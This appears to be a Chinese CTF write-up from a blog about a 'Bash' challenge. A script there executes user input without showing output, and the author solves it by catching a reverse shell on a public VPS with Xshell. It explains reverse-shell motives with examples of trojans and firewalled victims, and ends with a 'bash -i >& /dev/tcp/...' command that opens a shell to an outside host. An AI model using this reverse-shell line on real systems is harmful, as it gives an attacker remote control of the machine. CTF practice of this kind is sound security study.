工具Xshell 公网VPS接收反弹shell
Xshell新手的下载及安装教程(超详细)_新手程序员攀爬之路的博客-CSDN博客_xshell使用教程
Xshell连接后
#!/bin/bash
cat ${0}
while :
do
echo "$"
read input
output=`$input`
显示了一个文件,不过咋做呢?这里可能考察的是linux的语法方法 输入bash 获得shell
cat ${0}
while :
do
echo "$"
read input
output=`$input`
done
$
bash
ctf@93e6b425811b:/home/ctf$ ls
ctf@93e6b425811b:/home/ctf$ cat flag
cat: flag: No such file or directory
ctf@93e6b425811b:/home/ctf$ cat /flag
cat: /flag: No such file or directory
发现还是无正常数据回显,仅仅是保错,不过联想到题目名字Bash 也正好符合反弹shell的条件。(数据无法回显?)
为什么要反弹shell
通常用于被控端因防火墙受限、权限不足、端口被占用等情形
假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面,web服务,ssh,telnet等等,都是正向连接。那么什么情况下正向连接不太好用了呢?
1.某客户机中了你的网马,但是它在局域网内,你直接连接不了。
2.它的ip会动态改变,你不能持续控制。
3.由于防火墙等限制,对方机器只能发送请求,不能接收请求。
4.对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知,所以建立一个服务端,让恶意程序主动连接,才是上策。
#!/bin/bash
cat ${0}
while :
do
echo "$"
read input
output=`$input`
done
$
bash
ctf@93e6b425811b:/home/ctf$ ls
ctf@93e6b425811b:/home/ctf$ cat flag
cat: flag: No such file or directory
ctf@93e6b425811b:/home/ctf$ cat /flag
cat: /flag: No such file or directory
ctf@93e6b425811b:/home/ctf$
ctf@93e6b425811b:/home/ctf$ bash -i >& /dev/tcp/121.xxxxxxx/3333 0>&1
算是尝试的误打误撞写了出来,不过关于第一个框中的代码,还有为什么数据不回显原因还是不太懂,如果有懂的老哥可以帮忙指正一下。(评论私聊都行)